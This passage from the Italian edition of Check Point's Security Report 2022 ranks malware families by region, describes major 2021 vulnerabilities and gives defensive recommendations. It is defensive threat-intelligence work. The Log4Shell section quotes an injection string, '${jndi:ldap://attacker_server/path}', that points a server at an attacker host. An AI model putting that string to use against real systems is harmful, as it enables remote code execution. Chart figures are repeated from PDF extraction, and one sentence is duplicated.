39%

42%

7%

18%

12%

10%

8%6%

14%

13%

9%

8% 7%7%

Formbook AgentTesla LokiBot Raccoon Vidar Snake Keylogger Altro

Formbook AgentTesla LokiBot Vidar NanoCore Raccoon Altro

7%

18%

16%

11% 8%7%

33%

16%

13%

9%

9%

38%

8%7%

Formbook AgentTesla Raccoon LokiBot Vidar NanoCore Altro

Formbook Raccoon AgentTesla Vidar RedLine Stealer LokiBot Altro

39%

42%

7%

PRINCIPALE MALWARE INFOSTE ALER

C A P I T O L O 5

48CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 48CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

ANALISI GLOBALE DEL MALWARE INFOSTEALER

Il panorama degli infostealer è ancora dominato da diverse famiglie di malware

furtivi. AgentTesla, un importante infostealer di materie prime scoperto per la

prima volta nel 2014, ha mostrato una significativa diminuzione della prominenza

rispetto al 2020, con un calo del 50%. LokiBot, un infostealer di materie prime

emerso nel 2016, ha registrato un calo simile.

In cima alla classifica c'è Formbook, un malware infostealing venduto come

servizio sui forum underground dal 2016. Il malware è progettato per raccogliere

informazioni tramite keylogging. A metà del 2021, una nuova variante di Formbook

è stata rilevata in natura. La variante è stata distribuita in una campagna di

phishing sfruttando i documenti PowerPoint come allegati e-mail per la consegna

del malware.

Un altro malware-as-a-service che è entrato per la prima volta nelle nostre

statistiche di malware top è Raccoon. Questo infostealer, venduto sul Dark Web

per almeno due anni, offre una piattaforma ben mantenuta per i suoi affiliati che

dispone di rapide correzioni di bug e aggiornamenti automatici al suo payload, così

come il malware installato sulle macchine delle vittime.

I recenti aggiornamenti di Raccoon includono la capacità di rubare criptovalute,

rilasciare ulteriore malware e diffondersi tramite Google SEO invece di email di

phishing. L'attuale campagna tenta di attirare le sue vittime offrendo licenze di

software crackato.

C A P I T O L O 5

https://www.fortinet.com/blog/threat-research/deep-analysis-new-formbook-variant-delivered-phishing-campaign-part-I https://news.sophos.com/en-us/2021/08/03/trash-panda-as-a-service-raccoon-stealer-steals-cookies-cryptocoins-and-more/ https://threatpost.com/raccoon-stealer-google-seo/168301/

49CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 49CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

Figura 22: Principale malware di cryptomining

Figura 24: Principale malware di cryptomining

in EMEA

Figura 23: Principale malware di cryptomining nelle Americhe

Figura 25: Principale malware di cryptomining in

APAC

GLOBALI AMERICHE

EUROPA, MEDIO ORIENTE E AFRICA (EMEA) ASIA PACIFICO (APAC)

50%

12%

7%

41%

5%5%4%3%

43%

8%6%

XMRig LemonDuck RubyMiner DarkGate Kinsing Altro

XMRig LemonDuck WannaMine NRSMiner RubyMiner Altro

2%

6%

43%

15%

13%

8%

15%

4%

XMRig LemonDuck RubyMiner WannaMine NRSMiner Altro

XMRig RubyMiner LemonDuck DarkGate Kinsing Altro

27%

42%

6%

33%

2% 50%

12%

7%

41%

5%5%4%3%

43%

8%6%

XMRig LemonDuck RubyMiner DarkGate Kinsing Altro

XMRig LemonDuck WannaMine NRSMiner RubyMiner Altro

2%

6%

43%

15%

13%

8%

15%

4%

XMRig LemonDuck RubyMiner WannaMine NRSMiner Altro

XMRig RubyMiner LemonDuck DarkGate Kinsing Altro

27%

42%

6%

33%

2% 50%

12%

7%

41%

5%5%4%3%

43%

8%6%

XMRig LemonDuck RubyMiner DarkGate Kinsing Altro

XMRig LemonDuck WannaMine NRSMiner RubyMiner Altro

2%

6%

43%

15%

13%

8%

15%

4%

XMRig LemonDuck RubyMiner WannaMine NRSMiner Altro

XMRig RubyMiner LemonDuck DarkGate Kinsing Altro

27%

42%

6%

33%

2%

50%

12%

7%

41%

5%5%4%3%

43%

8%6%

XMRig LemonDuck RubyMiner DarkGate Kinsing Altro

XMRig LemonDuck WannaMine NRSMiner RubyMiner Altro

2%

6%

43%

15%

13%

8%

15%

4%

XMRig LemonDuck RubyMiner WannaMine NRSMiner Altro

XMRig RubyMiner LemonDuck DarkGate Kinsing Altro

27%

42%

6%

33%

2%

PRINCIPALE MALWARE DI CRYPTOMINING

C A P I T O L O 5

50CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 50CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

ANALISI GLOBALE DEI CRYPTOMINER XMRig, uno strumento legittimo per l'estrazione di Monero che è stato sfruttato

dagli attori delle minacce per scopi dannosi, non solo continua a essere in cima

alla classifica dei Cryptominer, ma è anche aumentato in popolarità di oltre il

25% rispetto al 2020. Due famiglie di malware sono entrate nella classifica dei

cryptominer per la prima volta quest'anno: LemonDuck, che è già secondo a

XMRig, e CryptoBot.

LemonDuck,che ha mostrato una crescita di oltre il 50% del tasso di attacco

rispetto alle statistiche di metà anno, è una botnet di cryptomining auto-

propagante che presenta capacità di furto di credenziali, evasione del rilevamento

e movimento laterale. LemonDuck funziona anche come un downloader di malware

e viene spesso osservato mentre scarica il Trojan Ramnit.

CryptoBot è un cryptominer avanzato che raccoglie le informazioni del portafoglio

e dell'account della vittima al momento dell'infezione. A dicembre CryptoBot è

stato visto in una campagna che prende di mira gli utenti con una copia pirata del

sistema operativo Windows. La campagna sfrutta uno strumento di attivazione

designato chiamato KMSPico che inganna i servizi di gestione delle chiavi di

Windows (KMS) per autenticare una copia pirata di Windows come legittima.

Quando un utente scarica una versione compromessa dello strumento, CryptoBot

viene installato silenziosamente usando processi in background. Simile a

LemonDuck, CyptoBot è stato precedentemente rilevato utilizzando l'exploit

EternalBlue come parte della sua catena di infezione.

C A P I T O L O 5

https://www.microsoft.com/security/blog/2021/07/22/when-coin-miners-evolve-part-1-exposing-lemonduck-and-lemoncat-modern-mining-malware-infrastructure/ https://www.moneycontrol.com/news/technology/hackers-target-windows-pirates-with-cryptobot-malware-7806771.html https://redcanary.com/blog/kmspico-cryptbot/ https://www.izoologic.com/2020/02/01/cryptobot-derived-from-famous-malwares-attacking-asian-countries/

51CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 51CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

Figura 26: Trojan bancari più diffusi a livello globale

Figura 28: Trojan bancari più diffusi in EMEA

GLOBALI

Figura 27: Trojan bancari più diffusi nelle Americhe

Figura 29: Trojan bancari più diffusi in APAC

AMERICHE

EUROPA, MEDIO ORIENTE E AFRICA (EMEA) ASIA PACIFICO (APAC)

36%

11% 11%

9%

5%

26%

19%

13% 8%

7%

5%

30%

14%

12%

21%

TrickBot Qbot Dridex IcedID Ursnif Ramnit Altro

TrickBot Ramnit Dridex Ursnif Qbot IcedID Altro

7%

8%

31%

16% 11%

10%

7%

21%

8%

TrickBot Qbot Dridex Ursnif Ramnit IcedID Altro

TrickBot Dridex Qbot Ursnif IcedID Zloader Altro

21%

22%

4%

7% 36%

11% 11%

9%

5%

26%

19%

13% 8%

7%

5%

30%

14%

12%

21%

TrickBot Qbot Dridex IcedID Ursnif Ramnit Altro

TrickBot Ramnit Dridex Ursnif Qbot IcedID Altro

7%

8%

31%

16% 11%

10%

7%

21%

8%

TrickBot Qbot Dridex Ursnif Ramnit IcedID Altro

TrickBot Dridex Qbot Ursnif IcedID Zloader Altro

21%

22%

4%

7%

36%

11% 11%

9%

5%

26%

19%

13% 8%

7%

5%

30%

14%

12%

21%

TrickBot Qbot Dridex IcedID Ursnif Ramnit Altro

TrickBot Ramnit Dridex Ursnif Qbot IcedID Altro

7%

8%

31%

16% 11%

10%

7%

21%

8%

TrickBot Qbot Dridex Ursnif Ramnit IcedID Altro

TrickBot Dridex Qbot Ursnif IcedID Zloader Altro

21%

22%

4%

7%

36%

11% 11%

9%

5%

26%

19%

13% 8%

7%

5%

30%

14%

12%

21%

TrickBot Qbot Dridex IcedID Ursnif Ramnit Altro

TrickBot Ramnit Dridex Ursnif Qbot IcedID Altro

7%

8%

31%

16% 11%

10%

7%

21%

8%

TrickBot Qbot Dridex Ursnif Ramnit IcedID Altro

TrickBot Dridex Qbot Ursnif IcedID Zloader Altro

21%

22%

4%

7%

PRINCIPALI TROJANS BANCARI

C A P I T O L O 5

52CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 52CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

ANALISI GLOBALE DEI TROJAN BANCARI

Il panorama del malware bancario continua ad essere dominato da una collezione

di famiglie di malware furtivi e adattivi negli ultimi anni. TrickBot è salito dal

secondo posto alla cima delle classifiche globali, mentre Dridex è sceso dal primo

posto al terzo, ed è in calo di quasi il 60% rispetto al 2020.

Qbot è un malware bancario in continua evoluzione, inizialmente progettato per

raccogliere credenziali bancarie e sequenze di tasti. È dotato di capacità di worm,

ma funziona anche come una botnet, spesso utilizzata da campagne ransomware

per rilasciare malware sui dispositivi infetti. A settembre, Qbot ha ripreso le sue

operazioni dopo una pausa di tre mesi, eseguendo una campagna di spam su

larga scala che ha sfruttato il malware come botnet e infostealer e distribuito

il caricatore di malware 'SquirrelWaffle'. La recente campagna si è basata su

Visual Basic e macro di Excel 4.0. A novembre, è stata osservata, la fase di

monetizzazione della campagna, poiché il malware dropper ha iniziato a installare

il Conti Ransomware.

Dridex, un altro malware bancario che ora presenta capacità di infostealer e

botnet, ha mostrato un calo significativo quest'anno. Tuttavia, a settembre i

ricercatori hanno rilevato una nuova variante di Dridex, con capacità estese di

raccolta di informazioni, che si diffonde in una campagna di phishing che presenta

documenti Excel appositamente creati. Inoltre, a dicembre, Dridex è stato tra i

primi malware ad essere distribuito in una campagna che sfrutta la vulnerabilità

Log4j per l'infezione.

C A P I T O L O 5

https://cisomag.eccouncil.org/qbot-malware-attack/ https://www.trendmicro.com/en_us/research/21/k/qakbot-loader-returns-with-new-techniques-and-tools.html https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks https://www.fortinet.com/blog/threat-research/new-dridex-variant-being-spread-by-crafted-excel-document https://www.bleepingcomputer.com/news/security/log4j-vulnerability-now-used-to-install-dridex-banking-malware/

53CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 53CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

Figura 30: Principale malware mobile a livello

Figura 32: Principale malware mobile in EMEA

GLOBALI

Figura 31: Principale malware mobile nelle Americhe

Figura 33: Principale malware mobile in APAC

AMERICHE

EUROPA, MEDIO ORIENTE E AFRICA (EMEA) ASIA PACIFICO (APAC)

26%

11%10%

14%

39%

29%

17% 13%

7%

Hiddad xHelper AlienBot FluBot Altro

Hiddad xHelper AlienBot FluBot Altro

44%

18%

16%

20%

Hiddad xHelper AlienBot FluBot Altro

2%34%

xHelper Hiddad AlienBot FluBot Altro

30%

16% 11%

3%

40%26%

11%10%

14%

39%

29%

17% 13%

7%

Hiddad xHelper AlienBot FluBot Altro

Hiddad xHelper AlienBot FluBot Altro

44%

18%

16%

20%

Hiddad xHelper AlienBot FluBot Altro

2%34%

xHelper Hiddad AlienBot FluBot Altro

30%

16% 11%

3%

40%

26%

11%10%

14%

39%

29%

17% 13%

7%

Hiddad xHelper AlienBot FluBot Altro

Hiddad xHelper AlienBot FluBot Altro

44%

18%

16%

20%

Hiddad xHelper AlienBot FluBot Altro

2%34%

xHelper Hiddad AlienBot FluBot Altro

30%

16% 11%

3%

40%

26%

11%10%

14%

39%

29%

17% 13%

7%

Hiddad xHelper AlienBot FluBot Altro

Hiddad xHelper AlienBot FluBot Altro

44%

18%

16%

20%

Hiddad xHelper AlienBot FluBot Altro

2%34%

xHelper Hiddad AlienBot FluBot Altro

30%

16% 11%

3%

40%

PRINCIPALI MALWARE MOBILE

C A P I T O L O 5

54CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 54CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

ANALISI GLOBALE DEI MALWARE MOBILE Hiddad,un malware Android progettato per visualizzare annunci, in precedenza

ha sfruttato il tema Covid-19 e ha mantenuto il suo posto in cima alla classifica,

insieme xHelper, la cui quota della torta di malware è diminuita del 25% rispetto

al 2020. Quest'anno, altre due famiglie di malware sono entrate per la prima volta

nella classifica, affiancate da due famiglie di malware nuove di zecca: AlienBot e

FluBot.

AlienBot è un malware bancario per Android distribuito dagli attori delle minacce

come Malware-as-a-Service. Il malware consente a un aggressore di iniettare

in remoto codice arbitrario in applicazioni finanziarie legittime, ottenendo così

l'accesso ai conti finanziari delle vittime e infine controllando completamente

il loro dispositivo. A marzo, Check Point Research ha rilevato un nuovo dropper

chiamato 'Clast82' distribuito tramite il Google Play Store che installa AlienBot

sulle macchine delle vittime. Il dropper utilizza una serie di tecniche per evitare il

rilevamento da parte di Google Play Protect. Per esempio, il payload non dannoso

viene lasciato cadere durante il periodo di valutazione, e dopo il suo passaggio, il

payload viene cambiato in AlienBot.

FluBot, un altro malware bancario Android, è emerso alla fine del 2020,

attaccando utenti e diffondendosi tramite messaggi SMS inviati da dispositivi

infetti. Le campagne di FluBot si basano su temi creativi; una campagna che ha

preso di mira gli utenti finlandesi in giugno e novembre ha sfruttato un tema di

voicemail, chiedendo alle sue vittime dal link di un vettore mobile di ascoltare i

messaggi. Ironicamente, una campagna rivolta agli Nuova Zelanda presenta un

falso aggiornamento di sicurezza che avverte le vittime delle infezioni di FluBot.

C A P I T O L O 5

https://research.checkpoint.com/2020/covid-19-goes-mobile-coronavirus-malicious-applications-discovered/ https://research.checkpoint.com/2021/clast82-a-new-dropper-on-google-play-dropping-the-alienbot-banker-and-mrat/ https://threatpost.com/flubot-malware-targets-androids-with-fake-security-updates/175276/ https://www.bleepingcomputer.com/news/security/finland-warns-of-flubot-malware-heavily-targeting-android-users/ https://www.bleepingcomputer.com/news/security/flubot-android-malware-now-spreads-via-fake-security-updates/

55CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 55CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

C A P I T O L O 6

VULNERABILITA’ GLOBALI DI ALTO PROFILO

06

MOLTE VULNERABILITÀ SCOPERTE NEL 2017 HANNO MANTENUTO UNA FORTE PRESENZA PER TUTTO IL 2021, PONENDO IN OMBRA QUELLE APPENA SCOPERTE.

56CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 56CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

Il seguente elenco delle principali vulnerabilità si basa sui dati raccolti dalla

rete di sensori Check Point Intrusion Prevention System (IPS) e dettaglia alcune

delle tecniche di attacco e degli exploit più popolari e interessanti osservati dai

ricercatori Check Point nel 2021.

‘LOG4SHELL’ APACHE LOG4J - ESECUZIONE DI CODICE REMOTO (CVE-2021-44228) Apache Log4j è un pacchetto open-source di log basato su Java fornito dalla

Apache Software Foundation, come parte degli Apache Logging Services. È la

più popolare libreria di log Java, usata da milioni di applicazioni basate su Java

in tutto il mondo per registrare attività come operazioni di routine del sistema

e messaggi di errore e per inviare diagnosi agli amministratori di sistema. Il 9

dicembre, la Apache Foundation ha rilasciato una versione di emergenza di Log4j

per affrontare un difetto critico nel framework di logging. Questa falla consente

agli attori delle minacce di compromettere una macchina inviando una semplice

stringa come ‘${jndi:ldap://attacker_server/path}’ come parte della richiesta

HTTP, User-Agent o qualsiasi altro input che possa essere registrato dal server

utilizzando Log4j. Controllando i messaggi registrati tramite il pacchetto di log,

il codice arbitrario potrebbe essere eseguito da un server remoto. Chiamata

'Log4Shell', la vulnerabilità ha preso d'assalto Cisco, Twitter, Cloudflare, Tesla,

Amazon e Apple, che utilizzano Log4j. Lo sfruttamento diffuso della falla è stato

tra cui Cisco, Twitter, Cloudflare, Tesla, Amazon and Apple, che utilizzano Log4j.

Lo sfruttamento diffuso della falla è stato osservato quasi immediatamente, sia

da parte di attaccanti poco qualificati per distribuire cryptominer, sia da gruppi

APT sponsorizzati dallo stato, per avere accesso alle reti aziendali. Secondo Check

Point Research circa il 48,3% delle organizzazioni sono state colpite da tentativi di

sfruttamento della vulnerabilità Log4Shell nel 2021.

C A P I T O L O 6

https://logging.apache.org/log4j/2.x/index.html https://logging.apache.org/log4j/2.x/security.html https://research.checkpoint.com/2021/the-laconic-log4shell-faq/ https://www.wired.com/story/log4j-log4shell/ https://thehackernews.com/2021/12/extremely-critical-log4j-vulnerability.html https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance https://blog.checkpoint.com/2021/12/14/a-deep-dive-into-a-real-life-log4j-exploitation/ https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/

57CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 57CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

“PROXYLOGON” MICROSOFT EXCHANGE SERVER - BYPASS DI AUTENTICAZIONE (CVE-2021-26855) ProxyLogon è il nome dato dai ricercatori di DEVCORE a una vulnerabilità di bypass

dell'autenticazione (CVE-2021-26855), scoperta e riportata per la prima volta alla

fine del 2020. Se combinata con altre vulnerabilità (CVE-2021-26857, CVE-2021-

26858, CVE-2021-27065), questa catena di infezioni può portare all'esecuzione di

codice remoto su qualsiasi Exchange Server mainstream senza patch. ProxyLogon

è stato sfruttato in natura da diversi gruppi APT. Nel mese di agosto, Earth Baku

ha lanciato una campagna nella regione indopacifica utilizzando l'iniezione SQL e

sfruttando ProxyLogon come vettori di ingresso. A settembre, il gruppo di cyber-

spionaggio FamousSparrow ha sfrutatto la falla e la backdoor SparrowDoor su

catene alberghiere, governi, aziende private e vari altri settori in tutto il mondo.

Un altro gruppo di minacce, SquirrelWaffle, è stato visto violare i server Microsoft

Exchange con ProxyShell e ProxyLogon per diffondere malware attraverso e-mail

dannose.

ATLASSIAN CONFLUENCE - ESECUZIONE DI CODICE REMOTO (CVE-2021-26084)

Questa falla critica Remote Code Execution in Atlassian Confluence Server o

Confluence Data Center, resa pubblica nell'agosto 2021, deriva dal linguaggio di

navigazione Object Graph. Può essere sfruttata senza autenticazione, permettendo

ad un attaccante remoto di eseguire codice arbitrario sul sistema interessato.

Atlassian ha rilasciato patch per le imprese colpite e sono stati pubblicati

diversi exploit Proof of Concept. Gli attori delle minacce hanno successivamente

analizzato la vulnerabilità con l'obiettivo di installare cryptominer. A settembre, il

cryptojacker z0Miner ha tentato di condurre operazioni di mining sulle macchine

vulnerabili. In ottobre, l'operatore ransomware Atom Silo è stato osservato mentre

sfruttava i computer senza patch per lanciare attacchi ransomware.

C A P I T O L O 6

https://proxylogon.com/ https://gbhackers.com/earth-baku-apt-hackers/ https://www.darkreading.com/threat-intelligence/famoussparrow-apt-group-flocks-to-hotels-governments-businesses https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html https://cyberintelmag.com/cloud-security/atlassian-confluence-flaw-actively-exploited-to-install-cryptominers/ https://www.zdnet.com/article/this-cryptocurrency-miner-is-exploiting-the-new-confluence-remote-code-execution-bug/ https://news.sophos.com/en-us/2021/10/04/atom-silo-ransomware-actors-use-confluence-exploit-dll-side-load-for-stealthy-attack/

58CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 58CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

Figura 34: Percentuale di attacchi che sfruttano le vulnerabilità per anno di divulgazione nel 2021.

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

Prima

0 5 10 15 20

2%

11%

5%

12%

17%

7%

8%

10%

6%

8%

3%

11%

Molte vulnerabilità scoperte nel 2017 hanno mantenuto una forte presenza per

tutto il 2021. Ciò è dovuto principalmente a falle popolari come la Apache Struts2

Remote Code Execution (CVE-2017-5638), che è incorporata nella botnet Mirai, o

la PHPUnit remote code execution (CVE-2017-9841), spesso utilizzata per sfruttare

plugin WordPress vulnerabili.

Le vulnerabilità 2020 sono rimaste prominenti, sfruttate nell'11% degli attacchi.

Tra le più significative c'era la serie di vulnerabilità di buffer overflow Draytek

Vigor (CVE-2020-10826, CVE-2020-10827, CVE-2020-10828), che ha avuto una quota

del 41% di impatto globale sulle organizzazioni. Queste vulnerabilità potrebbero

essere sfruttate per eseguire codice arbitrario sui router Draytek vulnerabili,

utilizzando una richiesta HTTP remota appositamente creata.

In 2021, we observed a slower adaptation of vulnerabilities compared to previous

years. The chart reveals that 2021 vulnerabilities were increasingly exploited by a

C A P I T O L O 6

https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/ https://isc.sans.edu/diary/28084

59CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 59CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

Figura 35: Percentuale di attacchi che sfruttano le vulnerabilità per Anno di Divulgazione per Mese.

JA N

21 FE

B 2 1

MA R 2

1

AP R 2

1

MA Y 2

1

JU N

21 JU

L 2 1

AU G 2

1 SE

P 2 1

OC T 2

1

NO V 2

1

DE C 2

1

100%

90%

80%

70%

60%

50%

40%

30%

20%

10%

0%

2021 2020 2019 2018 2017 2016 2015 2014 2013 2012 2011 Older

hacker dalla metà dell'anno, che corrisponde a una leggera diminuzione nell'uso di

CVE dal 2017.

60CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

BY JONY FISCHBEIN CISO per Check Point Software

C A P I T O L O 7

PREVENIRE LA PROSSIMA PANDEMIA CYBER — UNA STRATEGIA PER OTTENERE UNA SICUREZZA OTTIMALE

07

61CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 61CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

THREAT PREVENTION — PREVENIRE GLI ATTACCHI PRIMA CHE SI VERIFICHINO Una delle più grandi sfide che i professionisti della sicurezza devono affrontare

sono gli attacchi di V generazione - la combinazione di una vasta gamma di

minacce, attacchi su larga scala e un'ampia superficie di attacco. La vera

protezione completa richiede un approccio architettonico che prevenga gli attacchi

prima che accadano. In definitiva, l'obiettivo è quello di sconfiggere tutti gli

attacchi attraverso tutti i possibili vettori. Un'architettura di sicurezza che abilita e

facilita un'infrastruttura di protezione unificata e coesa fornirà una protezione più

completa e veloce rispetto a un'infrastruttura composta da pezzi che non lavorano

insieme. Questo è il cuore di ciò che Check Point Infinity offre: un'architettura di

sicurezza per prevenire gli attacchi prima che si verifichino.

QUANDO IL TUO PERIMETRO È OVUNQUE E GLI ATTACCHI CONTINUANO AD AVANZARE, LA TUA AZIENDA HA BISOGNO DI UNA PREVENZIONE ACCURATA BASATA SU UNA THREAT INTELLIGENCE IN TEMPO REALE Nell'attuale clima di mega attacchi alla catena di approvvigionamento e nella

costante lotta contro il nuovo malware evoluto, l'intelligence sulle minacce e

le capacità di risposta rapida sono vitali. L'intelligence completa per eliminare

proattivamente le minacce, i servizi di sicurezza gestiti per monitorare la tua rete

e le capacità di risposta agli incidenti per rispondere rapidamente e risolvere

gli attacchi, sono tutti cruciali per mantenere la tua azienda attiva e funzionante

nel 2022. Il malware è in continua evoluzione, rendendo la threat intelligence

uno strumento essenziale da considerare per quasi tutte le aziende. Quando

un'organizzazione ha risorse finanziarie, personali, intellettuali o nazionali da

mantenere e proteggere, un approccio più completo alla sicurezza è l'unico modo

effettivo per proteggersi dagli aggressori di oggi - e una delle più efficaci soluzioni

di sicurezza proattive disponibili oggi è la threat intelligence. La threat intelligence

deve coprire tutte le superfici di attacco, compresi cloud, mobile, rete, endpoint

e IoT, perché questi vettori sono comuni in un'azienda. La threat intelligence non

è solo dati - è pratica, e dovrebbe alimentare lo spostamento verso un approccio

di prevenzione, bloccando gli attacchi prima che penetrino, ottenendo il miglior

tasso di cattura delle minacce note e sconosciute, e raggiungendo un tasso di falsi

positivi vicino allo zero, interrompendo gli utenti il meno possibile.

C A P I T O L O 7

62CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 62CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

PROTEGGERE TUTTO, POICHÈ TUTTO È UN POTENZIALE OBIETTIVO Per ottenere una copertura efficace, le organizzazioni dovrebbero cercare una

soluzione unica capace di coprire tutte le superfici e i vettori di attacco. In un

ambiente multi ibrido, dove il perimetro è ormai ovunque, la sicurezza dovrebbe

essere in grado di proteggere tutto.

Email, navigazione web, server e storage sono solo l'inizio. Le app mobili, il cloud

e lo storage esterno sono tutti essenziali, così come la conformità dei dispositivi

mobili ed endpoint connessi, e la tua crescente proprietà di dispositivi IoT. Anche

i carichi di lavoro, i container e le applicazioni serverless su ambienti multi- e

hybrid-cloud dovrebbero essere sempre parte della lista di controllo. Con il rapido

passaggio al cloud e al lavoro ibrido, è diventato ancora più importante avere una

solida strategia di prevenzione dalle violazioni.

SFRUTTARE UN'ARCHITETTURA UNIFICATA COMPLETA La visibilità completa su tutta la tua rete, ottenuta attraverso il consolidamento,

è ora essenziale quando si tratta di difendersi da attacchi sempre più sofisticati.

Molte aziende tentano di costruire la loro sicurezza usando un patchwork di

prodotti monofunzionali di più fornitori, ma spesso falliscono e si ritrovano con

lacune di sicurezza causate da tecnologie disgiunte. Questo approccio produce

anche un enorme overhead perché si basa sul lavoro con più sistemi e fornitori

invece di una soluzione integrata. Per ottenere una sicurezza completa e

inclusiva, le aziende dovrebbero quindi adottare un approccio multilivello unificato

che protegga tutti gli elementi IT, tra cui reti, endpoint, cloud, mobile e IoT,

condividendo tutti la stessa architettura di prevenzione e ricevendo gli stessi dati

di threat intelligence in tempo reale.

C A P I T O L O 7

63CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 63CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

∙ Educare i dipendenti a riconoscere le

minacce potenziali: l'educazione degli utenti

è sempre stata un elemento chiave per evitare

le infezioni da malware. Le basi per sapere da

dove provengono i file, perché il dipendente

li sta ricevendo e se può fidarsi o meno del

mittente continuano ad essere strumenti

utili che i dipendenti dovrebbero usare

prima di aprire file ed e-mail. I metodi di

infezione più comuni utilizzati nelle campagne

ransomware sono ancora lo spam e le e-mail

di phishing. Molto spesso, la consapevolezza

dell'utente può prevenire un attacco prima

che si verifichi. Prendetevi il tempo per

educare i vostri utenti e assicuratevi che

se vedono qualcosa di insolito, lo segnalino

immediatamente ai tuoi team di sicurezza.

MANTENERE L'IGIENE DI SICUREZZA ∙ Patching: troppo spesso, gli attacchi sono

in grado di penetrare le difese sfruttando

vulnerabilità note per le quali esiste

una patch ma che non è stata applicata.

Le organizzazioni dovrebbero sforzarsi

di assicurarsi che le patch di sicurezza

aggiornate siano mantenute in tutti i sistemi e

software.

∙ Segmentazione: Le reti dovrebbero essere

segmentate, applicando forti firewall e

protezioni IPS tra i segmenti di rete al fine

di contenere la propagazione delle infezioni

nell'intera rete.

INFECTION RATE Virus infection rate (Ro) (source: WHO) The average number of people that one person with a virus infects: Flu: 1.3, SARS: 2-4, Corona: 2.5, Ebola: 1.6-2, Zika: 2-6.6, Measles: 11-18

INFECTION PREVENTION Best treatment: Vaccination Dealing with Infection Best Practices: 1) Quarantine, Shelter-in-Place 2) Isolation 3) Contact Tracing

SAFETY BEST PRACTICES Common treatment (until vaccination): 1) Mask 2) Hygiene 3) Social Distancing

BIOLOGICAL PANDEMIC

INFECTION RATE Malware infection rate (Ro) The average number of hosts that one host with a malware infects: Cyber attack: >27 (source: WEF, NSTU) Slammer: Doubled in size every 8.5 seconds Code Red: 2,000 new hosts per minute

INFECTION PREVENTION Best treatment: Real Time Prevention Best Practices: Continuous process of: 1) Quarantine: Sandboxing, Micro-Segmentation 2) Isolation: Zero Trust, Segregation 3) Tracing: Threat Intelligence, AI, SOC, Posture Management

SAFETY BEST PRACTICES 1) Awareness: Think before you click… 2) Cyber Hygiene: Patches, Compliance… 3) Asset Distancing: Network Segmentation, Multi-Factor Authentication…

CYBER PANDEMIC

PANDEMIA BIOLOGICA VS. PANDEMIA INFORMATICA Somiglianze e Confronti, Lezioni Apprese

C A P I T O L O 7

64CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 64CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

specifici tipi di file o vettori di attacco. Le

soluzioni forti integrano una vasta gamma

di tecnologie e innovazioni per combattere

efficacemente gli attacchi moderni negli

ambienti IT. Oltre alle protezioni tradizionali,

basate sulle firme, come antivirus e IPS, le

organizzazioni devono incorporare ulteriori

livelli per prevenire il nuovo malware

sconosciuto che non ha una firma conosciuta.

Due componenti chiave da considerare sono

l'estrazione delle minacce (sanitizzazione

dei file) e l'emulazione delle minacce

(sandboxing avanzato). Ogni elemento

fornisce una protezione distinta che, se usata

insieme, offre una soluzione completa per la

protezione contro il malware sconosciuto a

livello di rete e direttamente sui dispositivi

endpoint.

∙ Revisione: Le policy dei prodotti di sicurezza

devono essere attentamente riviste, e i log

degli incidenti e gli avvisi devono essere

continuamente monitorati.

∙ Adulti: Audit di routine e test di penetrazione

dovrebbero essere condotti su tutti i sistemi.

∙ Principio del minimo privilegio: I privilegi

degli utenti e del software dovrebbero

essere mantenuti al minimo - c'è davvero

bisogno che tutti gli utenti abbiano diritti di

amministrazione locale sui loro dispositivi?

∙ Implementing the most advanced security

technologies: Non esiste un'unica tecnologia

"silver bullet" che possa proteggere da tutte

le minacce e da tutti i vettori di minaccia.

Tuttavia, ci sono molte grandi tecnologie e

idee disponibili - apprendimento automatico,

sandboxing, rilevamento delle anomalie,

disarmo dei contenuti e molte altre. Ognuna

di queste tecnologie può essere molto

efficace in scenari specifici, coprendo

C A P I T O L O 7

65CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

CONCLUSIONI Come previsto, in un anno iniziato con le conseguenze di uno dei più devastanti

attacchi alla supply chain della storia, abbiamo visto gli attori delle minacce

crescere in fiducia e sofisticazione. Alla fine dell'anno, questo è culminato

nell'exploit della vulnerabilità Log4j, che ancora una volta ha preso la comunità

della sicurezza di sorpresa e ha portato alla ribalta il livello di rischio inerente alle

catene di fornitura del software. Nei mesi successivi, abbiamo visto i servizi cloud

